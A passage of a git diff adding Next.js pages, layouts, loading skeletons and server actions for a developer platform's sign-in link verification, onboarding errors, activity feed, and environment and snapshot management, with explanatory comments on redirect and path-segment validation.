it arrives from the browser. + const next = safeNext(String(formData.get("next") ?? "")) ?? "/"; + const r = await redeemSignInLink(token); + if (!r.ok) redirect("/login?from=link"); + try { + await signIn("email-link", { assertion: signAssertion(r.value.email), redirectTo: next }); + } catch (error) { + if (!(error instanceof AuthError)) throw error; + } + redirect(next); +} diff --git a/web/apps/web/src/app/(auth)/verify/[token]/page.tsx b/web/apps/web/src/app/(auth)/verify/[token]/page.tsx new file mode 100644 index 00000000..16407f58 --- /dev/null +++ b/web/apps/web/src/app/(auth)/verify/[token]/page.tsx @@ -0,0 +1,35 @@ +import type { Metadata } from "next"; +import { AuthCard, AuthHeader } from "@/components/auth/auth-card"; +import { Button } from "@/components/ui/button"; +import { safeNext } from "@/app/(auth)/login/destination"; +import { redeemLink } from "./actions"; + +export const metadata: Metadata = { title: "Sign in" }; + +/** Where the emailed link lands. Deliberately inert: opening it spends nothing and sets + * nothing, so a mail client's prefetch cannot burn the token and a link planted by someone + * else cannot sign this browser into their account. The button is the gesture; the POST + * behind it does the work. */ +export default async function VerifyPage({ + params, + searchParams, +}: { + params: Promise<{ token: string }>; + searchParams: Promise<{ next?: string }>; +}) { + const { token } = await params; + // Carried in the emailed link: the browser opening it may not be the one that asked. + const next = safeNext((await searchParams).next) ?? "/"; + return ( + + + Continue only if you asked for this link. It works once and expires after 15 minutes. + +
+ + + +
+ + ); +} diff --git a/web/apps/web/src/app/(onboarding)/error.tsx b/web/apps/web/src/app/(onboarding)/error.tsx new file mode 100644 index 00000000..2cd621a5 --- /dev/null +++ b/web/apps/web/src/app/(onboarding)/error.tsx @@ -0,0 +1,32 @@ +"use client"; + +import { useEffect } from "react"; +import { Button } from "@/components/ui/button"; + +/** What onboarding shows when it threw. The person is signed in but has no handle + * yet, so the reassurance that matters is that they are still signed in and + * nothing was half-created. Client component by Next's rule, not by choice. */ +export default function OnboardingError({ error, reset }: { error: Error & { digest?: string }; reset: () => void }) { + // The only place the real error goes; the message can carry the handle that was + // being claimed and the api's reason for refusing it. + useEffect(() => console.error(error), [error]); + + return ( +
+

+ Something went wrong +

+

We could not finish setting you up.

+

+ You are still signed in and nothing was created. Try again. +

+ {/* Enough to find this exact failure in the logs, and nothing more. */} + {error.digest && ( +

Reference {error.digest}

+ )} + +
+ ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/activity-actions.ts b/web/apps/web/src/app/(shell)/[owner]/(org)/activity-actions.ts new file mode 100644 index 00000000..644a0058 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/activity-actions.ts @@ -0,0 +1,19 @@ +"use server"; + +import { apiToken } from "@/lib/api-token"; +import { activity, type ApiEvent } from "@/lib/api"; +import { safeSegment } from "@/lib/slug"; + +/** The namespace's feed, `limit` deep. There is no cursor on the api — the feed is + * a view over a bounded stream, not a table — so "load more" re-reads from the top + * with a bigger window and the page swaps the whole list. Cheap at 100 rows. */ +export async function moreActivity(owner: string, limit: number): Promise { + const o = safeSegment(owner); + if (!o) return []; + const token = await apiToken(); + if (!token) return []; + const r = await activity(token, o, // The api's own ceiling (`FEED_EVENTS_MAX`); a "use server" file may export only + // async functions, so the number lives here and in `RecentActivity`, not shared. + Math.min(limit, 100)); + return r.ok ? r.value : []; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/ci/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/ci/loading.tsx new file mode 100644 index 00000000..36e6b656 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/ci/loading.tsx @@ -0,0 +1,11 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; + +/** `NotYet`: a title, then one centred placeholder card (`px-5 py-14`). */ +export default function Loading() { + return ( + + +
+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/ci/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/ci/page.tsx new file mode 100644 index 00000000..042a379f --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/ci/page.tsx @@ -0,0 +1,7 @@ +import { requireSession } from "@/lib/session"; +import { NotYet } from "@/components/app/not-yet"; + +export default async function Page() { + await requireSession(); + return CI triggers are not available yet.; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/layout.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/layout.tsx new file mode 100644 index 00000000..e54f1bc6 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/layout.tsx @@ -0,0 +1,91 @@ +import { notFound, redirect } from "next/navigation"; +import { SetCrumbTitle } from "@/components/app/shell-context"; +import { EnvHeaderActions } from "@/components/app/env-actions"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import { loadEnvPage } from "@/lib/env-page"; +import { when } from "@/lib/time"; + +/** An environment is a SUBJECT, like a repo or an image: entering one swaps the chrome's tab row + * for its own (Services | Snapshots, with the arrow back to the list) and grows the breadcrumb a + * segment. That row lives in the shell, which stays mounted across navigations — a tab row torn + * down and rebuilt per page cannot slide, it can only reappear. So this layout owns the header + * and nothing else, and tells the shell the one thing the URL cannot say: the environment's name, + * since the URL carries its id. + * + * `loadEnvPage` is `cache()`d, so the pages below share this one read. */ +export default async function Layout({ + children, + params, +}: { + children: React.ReactNode; + params: Promise<{ owner: string; id: string }>; +}) { + const { owner, id } = await params; + const session = await getSession(); + if (!session) redirect("/login"); + if (!session.user.username) redirect("/welcome"); + const token = await apiToken(); + if (!token) redirect("/login"); + + const page = await loadEnvPage(token, owner, id); + if (!page) notFound(); + const { env, history } = page; + const at = env ? (history.find((c) => c.id === env.restored_to) ?? history[0] ?? null) : null; + + return ( +
+ {/* The crumb carries the name and the state, as a repo's does; the header below is only + the actions and the facts, so the page reads like Code Repos rather than a document. */} + +
+
+ {env ? ( + <> + {/* A restore takes the services down and swaps the disk; without this the page shows + an ordinary state and the operator reads it as a restart that will not finish. */} + {env.restoring && ( + + restoring… + + )} + + ) : null} + + + +
+

+ {env ? ( + <> + {env.region} + {env.placement ? ` · ${env.placement}` : " · not placed yet"} · {page.services.length}{" "} + {page.services.length === 1 ? "service" : "services"} + {/* Where the lineage is, without opening the Snapshots tab. Same rule the tab uses: + `restored_to` when set, else the newest record. */} + {at && ( + <> + {" · at "} + “{at.message || "snapshot"}” + {" · "} + {when(new Date(at.created_at).getTime())} + + )} + + ) : ( + // Nothing but snapshots is left, so the meta line says what those snapshots are of + // rather than repeating a region the environment no longer runs in. + <> + {history.length} {history.length === 1 ? "snapshot" : "snapshots"} · the environment is gone; its + data is not + + )} +

+
+ {children} +
+ ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/loading.tsx new file mode 100644 index 00000000..2d348875 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/loading.tsx @@ -0,0 +1,21 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; + +/** BODY ONLY. The back link, the header and the tab row live in `layout.tsx`, which is already + * painted when this shows — drawing them again would stack two headers for one page. */ +export default function Loading() { + return ( + +
+ {Array.from({ length: 3 }, (_, i) => ( +
+
+ + +
+ +
+ ))} +
+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/page.tsx new file mode 100644 index 00000000..466c7a9e --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/page.tsx @@ -0,0 +1,80 @@ +import { notFound, redirect } from "next/navigation"; +import { Boxes } from "lucide-react"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import { loadEnvPage } from "@/lib/env-page"; + +/** What the environment is RUNNING, right now. + * + * Live environments only. An archived one runs nothing, so it is sent to its snapshots instead — + * the services a push recorded are the RESTORE's business (the api reads them off the record's + * provenance), and showing them here as though they were live is the one thing this page must + * never do. */ +export default async function Page({ params }: { params: Promise<{ owner: string; id: string }> }) { + const { owner, id } = await params; + const session = await getSession(); + if (!session) redirect("/login"); + const token = await apiToken(); + if (!token) redirect("/login"); + + const page = await loadEnvPage(token, owner, id); + if (!page) notFound(); + const { env, services } = page; + // An archived environment runs nothing. Say so here rather than redirecting: a redirect is a + // second navigation that the tab row has to catch up with, which is what made opening one + // archived environment look like a jump. The list already links archived rows to Snapshots. + if (!env) { + return ( +
+ +

Archived — nothing is running

+

+ The environment was deleted and its snapshots kept. Restore one to run it again. +

+
+ ); + } + + if (services.length === 0) { + return ( +
+ +

No services

+

+ This environment holds data and runs nothing. +

+
+ ); + } + + return ( + <> +
    + {services.map((s) => ( +
  • +
    +
    {s.name}
    +
    {s.image}
    +
    +
    + {/* Mounts, not ports and not readiness: the api's service doc carries neither, and + a column that can only ever be blank is a column that lies about what is known. */} + {s.mounts.length === 0 + ? "no volumes" + : s.mounts.map((m) => `${m.folder} → ${m.path}`).join(", ")} +
    + {s.command.length > 0 && ( +
    + {s.command.join(" ")} +
    + )} +
    • + ))} +
+

+ Reach a service from another in the same environment as name:port — + CoreDNS resolves inside its namespace. +

+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/settings/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/settings/loading.tsx new file mode 100644 index 00000000..1563e2d0 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/settings/loading.tsx @@ -0,0 +1,10 @@ +import { SettingsBones, Skeleton } from "@/components/app/skeleton"; + +/** env-settings.tsx: General, Danger zone. */ +export default function Loading() { + return ( + + + + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/settings/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/settings/page.tsx new file mode 100644 index 00000000..0d2c4017 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/settings/page.tsx @@ -0,0 +1,20 @@ +import type { Metadata } from "next"; +import { notFound, redirect } from "next/navigation"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import { loadEnvPage } from "@/lib/env-page"; +import { EnvSettings } from "@/components/app/env-settings"; + +export const metadata: Metadata = { title: "Environment settings" }; + +export default async function Page({ params }: { params: Promise<{ owner: string; id: string }> }) { + const { owner, id } = await params; + const session = await getSession(); + if (!session) redirect("/login"); + const token = await apiToken(); + if (!token) redirect("/login"); + + const page = await loadEnvPage(token, owner, id); + if (!page) notFound(); + return ; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/snapshots/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/snapshots/loading.tsx new file mode 100644 index 00000000..1c155aa6 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/snapshots/loading.tsx @@ -0,0 +1,34 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; + +/** BODY ONLY — the header and tabs come from `[id]/layout.tsx`, which is already painted. + * The shape `env-snapshots.tsx` lands as: the Live node (two lines plus the take-snapshot row) + * heading one rail, then a dot-width column and two text lines per snapshot. */ +export default function Loading() { + return ( + +
+
+ +
+ + +
+ + +
+
+
+ {Array.from({ length: 4 }, (_, i) => ( +
+ +
+ + +
+ +
+ ))} +
+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/snapshots/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/snapshots/page.tsx new file mode 100644 index 00000000..11b24bd6 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/[id]/snapshots/page.tsx @@ -0,0 +1,36 @@ +import { notFound, redirect } from "next/navigation"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import { loadEnvPage } from "@/lib/env-page"; +import { EnvSnapshots } from "@/components/app/env-snapshots"; + +/** One environment's snapshot lineage as a tree, oldest at the top — live or archived, the same records. + * + * Reads by volume id and needs no live Environment: the records live on the server tier and + * outlive the thing they were taken of, which is what an archived row IS. */ +export default async function Page({ params }: { params: Promise<{ owner: string; id: string }> }) { + const { owner, id } = await params; + const session = await getSession(); + if (!session) redirect("/login"); + const token = await apiToken(); + if (!token) redirect("/login"); + + const page = await loadEnvPage(token, owner, id); + if (!page) notFound(); + const { env, history } = page; + + return ( + ({ id: c.id, message: c.message, created_at: c.created_at, parent: c.parent ?? null }))} + // The Volume's answer, not the history's: an in-place restore makes an OLDER record the + // live one. Absent (never restored) means the newest record is current. + restoredTo={env?.restored_to ?? null} + restoredAt={env?.restore_requested_at ?? null} + /> + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/environments/actions.ts b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/actions.ts new file mode 100644 index 00000000..bfa7e148 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/actions.ts @@ -0,0 +1,188 @@ +"use server"; + +import { revalidatePath } from "next/cache"; +import { apiToken } from "@/lib/api-token"; +import * as api from "@/lib/api"; +// `owner` reaches every action below as FormData, and goes straight into a revalidatePath +// PATTERN. A segment carrying `/` or `..` would silently revalidate something else, so each +// action refuses it — a bad one is never a real submission, since the pages that render these +// forms fill the field from the route params. +import { safeSegment } from "@/lib/slug"; + +/** `ok` is what lets a dialog close on success — see `useDialogUntilSuccess`. */ +export type EnvActionState = { + ok?: true; + error?: string; + /** A push's request id — the only thing `push` answers with. See `pushEnvironment`. */ + requestId?: string; +} | null; + +export async function startEnvironment(_prev: EnvActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.startEnvironment(token, id); + if (!r.ok) return { error: r.message || "Could not start." }; + revalidatePath(`/${owner}/environments`); + return { ok: true }; +} + +export async function stopEnvironment(_prev: EnvActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.stopEnvironment(token, id); + if (!r.ok) return { error: r.message || "Could not stop." }; + revalidatePath(`/${owner}/environments`); + return { ok: true }; +} + +export async function pushEnvironment(_prev: EnvActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + const message = String(formData.get("message") ?? "").trim(); + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.pushEnvironment(token, id, message || undefined); + if (!r.ok) return { error: r.message || "Could not push." }; + revalidatePath(`/${owner}/environments/${id}/snapshots`); + return { ok: true, requestId: r.value.id }; +} + +/** The Restore dialog's one action, for both shapes it takes. + * + * `mode` says which: `inplace` puts the snapshot back into THIS environment's own volume (202 + * and nothing to read — the controllers scale the services down, swap the subvolume and bring + * them back up); `new` restores it into a fresh environment under `name`. The dialog states the + * choice outright rather than the action inferring it from a name, because two client-supplied + * names that happen to match are not a decision. + * + * `snapshotFirst` pushes the current state before restoring and WAITS for the record to land: + * the offer is "so you can come back to it", and a restore that started before its safety + * snapshot was durable would have made that a lie. `push` answers with a request id, not a + * record, so landing is only observable as the record appearing in the volume's history. + * ponytail: a 60 s ceiling polled every 2 s — a multi-gigabyte first push can outlast it, and the + * restore is then refused rather than run; following the SnapshotRequest's own status is the fix + * once `/v1` projects one by id. */ +export async function restoreEnvironmentFrom(_prev: EnvActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + const snapshotId = String(formData.get("snapshotId") ?? ""); + const mode = formData.get("mode"); + if (mode !== "inplace" && mode !== "new") return { error: "Could not tell where to restore to." }; + const name = String(formData.get("name") ?? "").trim(); + if (mode === "new" && !name) return { error: "Name the environment to restore into." }; + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + if (formData.get("snapshotFirst") != null) { + const before = await api.volumeHistory(token, id); + const had = before.ok ? before.value.length : 0; + const message = String(formData.get("snapshotMessage") ?? "").trim() || `before restore to ${snapshotId.slice(0, 8)}`; + const push = await api.pushEnvironment(token, id, message); + if (!push.ok) return { error: push.message || "Could not take the snapshot; nothing was restored." }; + let landed = false; + for (let i = 0; i < 30 && !landed; i++) { + await new Promise((r) => setTimeout(r, 2_000)); + const now = await api.volumeHistory(token, id); + landed = now.ok && now.value.length > had; + } + if (!landed) return { error: "The snapshot has not landed yet. Nothing was restored — try again in a moment." }; + } + + const r = + mode === "inplace" + ? await api.restoreEnvironmentInPlace(token, id, snapshotId) + : await api.restoreEnvironment(token, name, snapshotId); + if (!r.ok) return { error: r.message || "Could not restore." }; + revalidatePath(`/${owner}/environments`); + revalidatePath(`/${owner}/environments/${id}`); + revalidatePath(`/${owner}/environments/${id}/snapshots`); + return { ok: true }; +} + +export async function cloneEnvironment(_prev: EnvActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + const name = String(formData.get("name") ?? "").trim(); + if (!name) return { error: "Name the clone." }; + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.cloneEnvironment(token, id, name); + if (!r.ok) return { error: r.message || "Could not clone." }; + revalidatePath(`/${owner}/environments`); + return { ok: true }; +} + +/** Deleting an environment leaves its snapshots alone by default: a snapshot is a point in time + * and outlives the thing it was taken of, so the row simply becomes "archived". Checking + * "Also delete its snapshots" drops the volume's whole index afterwards — after, so a failed + * snapshot delete never leaves an environment that was already removed from the node with a + * history nobody can reach. */ +export async function deleteEnvironment(_prev: EnvActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + const alsoSnapshots = formData.get("snapshots") != null; + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.deleteEnvironment(token, id); + if (!r.ok) return { error: r.message || "Could not delete." }; + if (alsoSnapshots) { + // A volume with nothing pushed has no index to drop, and the api answers 404 for that as well + // as for "not yours" — the environment IS deleted either way, so this is not an error to show. + await api.deleteVolume(token, id); + } + revalidatePath(`/${owner}/environments`); + return { ok: true }; +} + +/** One record out of the lineage. The disk is not touched: what goes is the environment's record + * of that snapshot, which is why the dialog says so rather than warning about data loss. */ +export async function deleteEnvironmentSnapshot(_prev: EnvActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + const snapshotId = String(formData.get("snapshotId") ?? ""); + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.deleteVolumeSnapshot(token, id, snapshotId); + if (!r.ok) return { error: r.message || "Could not delete the snapshot." }; + revalidatePath(`/${owner}/environments/${id}/snapshots`); + return { ok: true }; +} + +/** An archived row's own action: the environment is already gone, only its snapshots are left. */ +export async function deleteEnvironmentSnapshots(_prev: EnvActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.deleteVolume(token, id); + if (!r.ok) return { error: r.message || "Could not delete the snapshots." }; + revalidatePath(`/${owner}/environments`); + return { ok: true }; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/environments/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/loading.tsx new file mode 100644 index 00000000..8996cc46 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/loading.tsx @@ -0,0 +1,32 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; + +/** Filter box, the live list, then the collapsed Archived heading — the two groups the page + * lands as. `py-3.5` rows, not `ListBones`'s `py-4`: these rows are 75px, and a skeleton that + * draws a different height is worse than none, because the page then jumps twice. + * + * Per route rather than one file at the `(org)` level: Next uses the NEAREST loading.tsx, so a + * group-level one would shadow every child. */ +function Rows({ rows }: { rows: number }) { + return ( +
+ {Array.from({ length: rows }, (_, i) => ( +
+ + +
+ ))} +
+ ); +} + +export default function Loading() { + return ( + + +
+ +
+ + + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/environments/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/page.tsx new file mode 100644 index 00000000..df0ee0ff --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/environments/page.tsx @@ -0,0 +1,69 @@ +import { notFound, redirect } from "next/navigation"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import { listEnvironments, listVolumes, volumeHistory } from "@/lib/api"; +import { EnvironmentList } from "@/components/app/environment-list"; + +export default async function Page({ params }: { params: Promise<{ owner: string }> }) { + const { owner } = await params; + const session = await getSession(); + if (!session) redirect("/login"); + if (!session.user.username) redirect("/welcome"); + + const token = await apiToken(); + if (!token) redirect("/login"); + + // On the caller's OWN page, no owner filter: the api then aggregates personal envs plus + // every team the caller belongs to — environments are a team-wide view. A team's page + // keeps the filter so it shows exactly that team's. + const mine = owner === session.user.username; + const list = await listEnvironments(token, mine ? undefined : owner); + if (!list.ok) { + if (list.kind === "unauthorized") redirect("/login?from=expired"); + if (list.kind === "notFound") notFound(); + throw new Error(list.message); + } + + // ARCHIVED rows: a volume on the server tier that still holds snapshots and has no live + // Environment left. The snapshots outlive the object, so this is the only way back to them — + // without it, deleting an environment made its own history unreachable. + const live = new Set(list.value.map((e) => e.id)); + // Same `mine` rule as the environment list above: aggregate on the caller's own page, one + // label on a team's. + const volumes = await listVolumes(token, "environment", mine ? undefined : owner); + const archivedRows = volumes.ok ? volumes.value.filter((v) => !live.has(v.name)) : []; + // ponytail: one history read per archived volume, for the count. Archived rows are the deleted + // ones, so the list is short; if it stops being short, the count belongs in `/v1/volumes` + // itself, which needs a per-push marker under `index/` (see the server-tier handler). + const archived = await Promise.all( + archivedRows.map(async (v) => { + const h = await volumeHistory(token, v.name); + return { + id: v.name, + name: v.display_name, + latest_ms: v.latest_ms, + snapshots: h.ok ? h.value.length : 0, + // `display_name` falls back to the volume id when no push recorded a name — the row says + // so rather than passing an id off as one. + named: v.display_name !== v.name, + }; + }), + ); + + // The live rows' "snapshot 2 h ago". Same listing already read above, so this costs nothing: + // a volume with no row has never been pushed and shows no time at all. + const latest = Object.fromEntries( + (volumes.ok ? volumes.value : []).map((v) => [v.name, v.latest_ms] as const), + ); + + return ( +
+ a.snapshots > 0)} + latest={latest} + /> +
+ ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/layout.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/layout.tsx new file mode 100644 index 00000000..dfe87aef --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/layout.tsx @@ -0,0 +1,35 @@ +import { getSession } from "@/lib/session"; +import { MarketingHeader } from "@/components/marketing/marketing-header"; + +/** + * Every page of an owner's namespace — repos, registries, workspaces, + * environments, CI, settings — under one shell. + * + * A route GROUP, so it wraps these pages without wrapping `[owner]/[repo]`, + * which has a shell of its own with the repo's tabs. The URL is unchanged: + * `(org)` is a grouping, not a path segment. + * + * The reason it is a layout rather than a component each page renders: React + * keeps a layout mounted while the page beneath it changes. The tab row's + * underline slides between tabs, and a row that is torn down and rebuilt on every + * navigation cannot animate — it can only reappear somewhere else. + */ +export default async function OrgLayout({ children }: { children: React.ReactNode }) { + const session = await getSession(); + // Signed out, `/{owner}` is a team's public profile: the marketing header plus the + // same container. It lives HERE rather than in the page because loading.tsx renders + // in the layout's place — framed here, the skeleton lands in the same frame the page + // does instead of painting full-bleed and then jumping. Every other page in the group + // guards itself and redirects, so there is nothing to protect by redirecting here. + if (!session?.user.username) + return ( + <> + +
{children}
+ + ); + // The page frame, so every page in the namespace shares one width and one set + // of margins rather than each restating them. The chrome above it belongs to + // the shell layout, which stays mounted across all of this. + return
{children}
; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/loading.tsx new file mode 100644 index 00000000..7058a468 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/loading.tsx @@ -0,0 +1,50 @@ +import { Bone, FeedBones, LineBones, Skeleton } from "@/components/app/skeleton"; + +/** `/{owner}`: home.tsx — the title row, then two stacked sections (workspaces, + * activity) beside the rail (environments, repos) on `grid-cols-overview`. Each section + * is a 12px `text-caption` heading (`h-3`) over `mt-3` rows of `px-4 py-3`, which is + * what `LineBones` draws. + * + * This file serves ONLY the group's index page in practice: every child route under + * `(org)` carries its own loading.tsx, because Next picks the nearest one and this + * would otherwise paint the home page's shape over a list page. */ +export default function Loading() { + return ( + +
+
+ {/* Title (`text-title`) over the `mt-1` subtitle line. */} + + +
+ {/* The "View as" switch, `h-8` like the page. Teams only, but it is the wider + case and a rail that is one control short moves less than one too many. */} + +
+
+
+ + +
+ + {/* The feed's day heading, then its rows: `ActivityFeed` opens on `mt-4`. */} + + +
+
+ +
+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/page.tsx new file mode 100644 index 00000000..817d6621 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/page.tsx @@ -0,0 +1,189 @@ +import { notFound, redirect } from "next/navigation"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import { + activity, + getTeam, + getTeamProfile, + listEnvironments, + listRepos, + listWorkspaces, + type ApiTeamProfile, +} from "@/lib/api"; +import { blob, decodeBlob, defaultBranch, publicImages, refs } from "@/lib/browse"; +import { pinnedLanguages } from "@/lib/team-languages"; +import { Home } from "@/components/app/home"; +import { TeamProfile, type ProfileViewer } from "@/components/app/team-profile"; +import { ViewAs } from "@/components/app/view-as"; + +/** An owner's home — their own handle or a team's, the same page either way. + * + * Membership is not checked here: the api answers 404 for a namespace the caller + * may not act in, so asking it IS the check. Deciding locally would mean two + * places that know what a member is, and the browser-facing one would be guessing. */ + +/** A team's README is a file in a real repo (`.profile/README.md` at its default + * branch), read the way a stranger reads it — no token, ever. Nothing there, or a + * private `.profile`, is simply no README. */ +async function profileReadme(owner: string): Promise { + const all = await refs(undefined, owner, ".profile"); + if (!all.ok) return null; + const head = defaultBranch(all.value); + if (!head) return null; + const file = await blob(undefined, owner, ".profile", head.oid, "README.md"); + if (!file.ok) return null; + const decoded = decodeBlob(file.value); + return decoded.binary ? null : decoded.text; +} + +/** The public page, whoever is reading it. Its three extra reads are independent of + * each other and none of them can fail the page: a missing README, an unreadable + * image list and an empty language tally are all just less to show. */ +async function publicView(profile: ApiTeamProfile, viewer: ProfileViewer) { + const [readme, images, languages] = await Promise.all([ + profileReadme(profile.slug), + publicImages(profile.slug), + pinnedLanguages(profile.slug, profile.pins), + ]); + return ( + <> + {/* Without this row a member who switched to the public view has no way back + but editing the URL — the page they are on no longer draws the switch. */} + {viewer !== "anonymous" && ( +
+ +
+ )} + + + ); +} + +export default async function OwnerPage({ + params, + searchParams, +}: { + params: Promise<{ owner: string }>; + searchParams: Promise<{ view?: string }>; +}) { + const { owner } = await params; + const { view } = await searchParams; + const session = await getSession(); + if (session && !session.user.username) redirect("/welcome"); + const token = session ? await apiToken() : null; + + // Nobody signed in: the public profile is all there is, and there is nothing to + // preview or switch to. A team with no public profile is a sign-in prompt rather + // than a 404, which would tell a stranger the team exists. + if (!session) { + const profile = await getTeamProfile(owner); + if (profile.ok) return await publicView(profile.value, "anonymous"); + redirect("/login"); + } + if (!token) redirect("/login"); + + // `getTeam` 404s for a personal namespace as well as for a team you are not in, + // so a person's own handle is answered locally — and has no public half at all, + // so `?view=public` on it is meaningless and ignored rather than 404ing. + const ownHandle = owner === session.user.owner; + const member = ownHandle ? null : await getTeam(token, owner); + + // Signed in but not a member: `memberView` would 404 on a team whose public profile + // this caller is perfectly entitled to read. They see exactly what a stranger sees — + // no switch back to a member view they do not have. + if (member && !member.ok && !ownHandle) { + const profile = await getTeamProfile(owner); + if (!profile.ok) notFound(); + return await publicView(profile.value, "anonymous"); + } + + if (view === "public" && !ownHandle) { + const profile = await getTeamProfile(owner); + if (profile.ok) return await publicView(profile.value, member?.ok ? "member" : "anonymous"); + if (member?.ok) { + // A private team has no public profile to read, so a member previewing one is + // shown what publishing it WOULD publish, assembled from what they can see. + // Any OTHER failure is the profile route being down, and a member who cannot + // preview still gets their own team — never a 404. + if (profile.kind !== "notFound") return memberView(token, owner, ownHandle, session.user.name, member.value); + const repos = await listRepos(token, owner); + const open = (repos.ok ? repos.value : []).filter((r) => r.public); + const names = new Set(open.map((r) => r.name)); + const t = member.value; + return await publicView( + { + slug: t.slug, + name: t.name, + description: t.description, + tagline: t.tagline, + location: t.location, + website: t.website, + email: t.email, + memberCount: t.members.length, + pins: t.pins.filter((p) => names.has(p)), + repos: open.map((r) => ({ + name: r.name, + description: r.description, + public: r.public, + createdAt: r.createdAt, + })), + }, + "member-preview-private", + ); + } + notFound(); + } + + return memberView(token, owner, ownHandle, session.user.name, member?.ok ? member.value : null); +} + +/** The signed-in member view: home for this namespace. Together: nothing here needs + * another's answer, and every strip is decoration — only the repo list 